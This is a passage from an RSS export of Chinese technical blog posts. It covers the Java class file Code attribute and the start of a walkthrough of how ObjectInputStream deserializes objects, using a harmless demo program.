属性，书上给出的介绍是该属性是类文件中最重要的组成部分，它包含方法的字节码，除 native 和 abstract 方法外，每个 method 都有且仅有一个 Code 属性，并且 Code属性只作用于方法表中，其结构如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">Code_attribute{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">attribute_name_index;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u4</span>    <span class="code-snippet__string">attribute_length;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">max_stack;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u4</span>    <span class="code-snippet__string">code_length;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u1</span>    <span class="code-snippet__string">code[code_length];</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">exception_table_length;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>  <span class="code-snippet__string">start_pc;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>  <span class="code-snippet__string">end_pc;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>  <span class="code-snippet__string">handler_pc;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">u2</span>  <span class="code-snippet__string">catch_type;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">}</span> <span class="code-snippet__string">exception_table[exception_table_length];</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">attributes_count;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">attribute_info</span>    <span class="code-snippet__string">attributes[attributes_count];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">attribute_name_index 表示属性的名字，attribute_length表示属性值的长度，max_stack表示操作数栈的最大深度，虚拟机运行的时候需要根据这个值来分配栈帧中的操作栈深度。它的计算规则是：有入栈的指令 stack 增加，有出栈的指令 stack 减少，在整个过程中 stack 的最大值就是 max_stack 的值，增加和减少的值一般都是 1，但也有例外，比如 LONG 和 DOUBLE 相关的指令入栈 stack 会增加 2，VOID 相关的指令是 0。</p><p style="margin: 0px 0px 1.2em !important;">max_locals 表示局部变量表的大学，他的值并不等于方法中所有局部变量的数量值和。当一个局部作用域结束，它内部的局部变量占用的位置就可以被接下来的局部变量复用。</p><p style="margin: 0px 0px 1.2em !important;">code_length和 code 用来表示字节码相关的信息，code_length 存储了字节码指令的长度，占用 4 个字节，虽然长度是4个字节(表面也就是说字节码指令的长度可以达到2^32-1)，但实际上Java虚拟机规定了方法体中的字节码指令最多有65535条。在code属性中存储了Java方法体经过编译后Java的字节码指令，具体的字节码指令可以不用强记，在使用的时候根据字节码去查表就可以，具体可以参考：<a href="https://www.cnblogs.com/longjee/p/8675771.html" target="_blank">https://www.cnblogs.com/longjee/p/8675771.html</a></p><p style="margin: 0px 0px 1.2em !important;">exception_table_length 和 exception_table 用来表示代码内部的异常表信息，其中start_pc、end_pc、handler_pc都是指向 code 字节数组的索引值，start_pc和end_pc表示异常处理器覆盖的字节码开始和结束的位置，是左闭右开区间[start_pc,end_pc)，即包含 start_pc，不包含 end_pc。handler_pc表示异常处理 handler 在 code 字节数组的起始位置，异常被捕获以后该跳转到何处继续执行。</p><p style="margin: 0px 0px 1.2em !important;">catch_type表示需要处理的 catch 的异常类型是什么，用 2 个字节表示，指向常量池中的类型为 CONSTANT_Class_info 的常量项。如果 catch_type 为0，表示可处理任意异常。</p><p style="margin: 0px 0px 1.2em !important;">当 JVM 执行到某个方法的[start_pc,end_pc)范围内的字节码发生异常时，如果发生的异常是这个 catch_type 对应的异常类或者它的子类，则跳转到 code 字节数组handler_pc处继续处理。</p><p style="margin: 0px 0px 1.2em !important;">此外，书上还给出了 code 属性结构，比较直观，有兴趣的朋友可以自行看书。</p><p style="margin: 0px 0px 1.2em !important;">作者在第一章的最后介绍了 javap 查看类文件的使用技巧，这个互联网上有很多资料，比如：<a href="https://blog.csdn.net/jkli52051315/article/details/83943473" target="_blank">https://blog.csdn.net/jkli52051315/article/details/83943473</a></p><h3 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.3em;">0x03 总结</h3><p style="margin: 0px 0px 1.2em !important;">作者第一章主要介绍了 class 文件的内部结构，收获还是挺多的，基础性的知识，学习再多也不为过</p><p style="margin: 0px 0px 1.2em !important;">后面继续学习这本书并分享自己的学习笔记<br/></p>



<p><a href="https://www.cnpanda.net/talksafe/1023.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e5828f80&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483945%26idx%3D1%26sn%3Dbcf3b3592f967a198761dddc0dde0ff0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 Sep 2021 09:24:00 +0800</pubDate>
    </item>
    <item>
      <title>Java反序列化流程总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483930&amp;idx=1&amp;sn=f335d2a87c3300653252ce7be624322a</link>
      <description>反序列化的流程总结，确定不了解一下？</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-06-14 21:03</span> <span style="display: inline-block;"></span>
</p>

<p>反序列化的流程总结，确定不了解一下？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fbf651c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclGWQQKdicrxrwGM8jwIyvCTXuVYvkz6cTYKXrT7oppwHbKutFReR3yug%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n0" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: rgb(0, 0, 0);border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x01 写在前面</span></h2><p cid="n2" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">同前一篇的分析方法一样，推荐复制demo代码，然后一步一步跟随笔者的分析进行debug调试跟随，这样跟能够帮助读者理解此文。</span></p><h2 cid="n3" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);text-align: left;"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x02 流程分析</span></h2><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在上一篇《 序列化流程分析总结》一文中我提到了</span></p><blockquote cid="n5" mdtype="blockquote" style="box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;font-size: 0.9em;overflow: auto;border-left-color: rgb(239, 112, 96);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;background-color: rgb(255, 249, 249);"><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">所谓的序列化即是一个将对象写入到IO流中的过程。序列化的步骤通常是首先创建一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">输出流，然后调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">对象的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject</code><span md-inline="plain" style="box-sizing: border-box;">方法，按照一定格式(上面提到的)输出可序列化对象。</span></span></span></span></p></blockquote><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">所以其实反序列化和序列化是一个相反的过程——所谓的反序列化即是从IO流中读出对象的过程。反序列化的步骤通常是首先创建一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">输入流，然后调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">对象的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject</code><span md-inline="plain" style="box-sizing: border-box;">方法读出序列化的内容。</span></span></span></span></p><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如下段demo代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.panda.alipay;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Main</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Demo</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Serializable</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> String string;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">transient</span> String name = <span class="code-snippet__string">&#34;hello&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Demo</span><span class="code-snippet__params">(String s)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.string = s;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> IOException, ClassNotFoundException </span>{</span></code><code><span class="code-snippet_outer">            Demo demo = <span class="code-snippet__keyword">new</span> Demo(<span class="code-snippet__string">&#34;panda&#34;</span>);</span></code><code><span class="code-snippet_outer">            ObjectOutputStream outputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(<span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;panda.out&#34;</span>));</span></code><code><span class="code-snippet_outer">            outputStream.writeObject(<span class="code-snippet__keyword">new</span> Demo(<span class="code-snippet__string">&#34;panda&#34;</span>));</span></code><code><span class="code-snippet_outer">            outputStream.close();</span></code><code><span class="code-snippet_outer">            ObjectInputStream inputStream = <span class="code-snippet__keyword">new</span> ObjectInputStream(<span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;panda.out&#34;</span>));</span></code><code><span class="code-snippet_outer">            inputStream.readObject();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">整个代码中最关键的两行为：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">  ObjectInputStream inputStream = <span class="code-snippet__keyword">new</span> ObjectInputStream(<span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;panda.out&#34;</span>));</span></code><code><span class="code-snippet_outer">  inputStream.readObject();</span></code></pre></section><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">这两行其实就包括了整个反序列化的流程。</span></p><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">首先来看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">一样，是一个实现了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInput</code><span md-inline="plain" style="box-sizing: border-box;">接口的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">InputStream</code><span md-inline="plain" style="box-sizing: border-box;">的子类，其类定义如下：</span></span></span></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ObjectInputStream</span> </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">InputStream</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">ObjectInput</span>, <span class="code-snippet__title">ObjectStreamConstants</span></span>{</span></code><code><span class="code-snippet_outer">...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">当我们实例化</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">后，首先调用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">的构造方法。</span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code></span><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">类一样有两个构造方法 —— 一个为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">的单参数构造方法，一个为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">protected</code><span md-inline="plain" style="box-sizing: border-box;">的无参构造方法</span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></span></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">同样地，当我们实例化</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">并传入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">new FileInputStream(&#34;panda.out&#34;)</code><span md-inline="plain" style="box-sizing: border-box;">参数后，调用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectInputStream</code><span md-inline="plain" style="box-sizing: border-box;">中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public</code><span md-inline="plain" style="box-sizing: border-box;">单参数构造方法，该方法内容如下：</span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.40371621621621623" data-s="300,640" style="" data-type="jpeg" data-w="1184" src="https://wechat2rss.xlab.app/img-proxy/?k=3ec25a7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclxJBFJPWrWb16qS7W0BKOhPUleg225r26nIKLiaiaiaryIicdKMjEHaIgFQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">的构造方法一样——在该构造函数的开始，首先会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">verifySubclass</code><span md-inline="plain" style="box-sizing: border-box;">方法处理缓存信息，要求该类(或子类)进行验证——验证是否可以在不违反安全约束的情况下构造此实例。</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">然后和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">不同的是，在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">中我们初始化的对象是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">bout</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">subs</code><span md-inline="plain" style="box-sizing: border-box;">以及</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableOverride</code><span md-inline="plain" style="box-sizing: border-box;">，但是在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 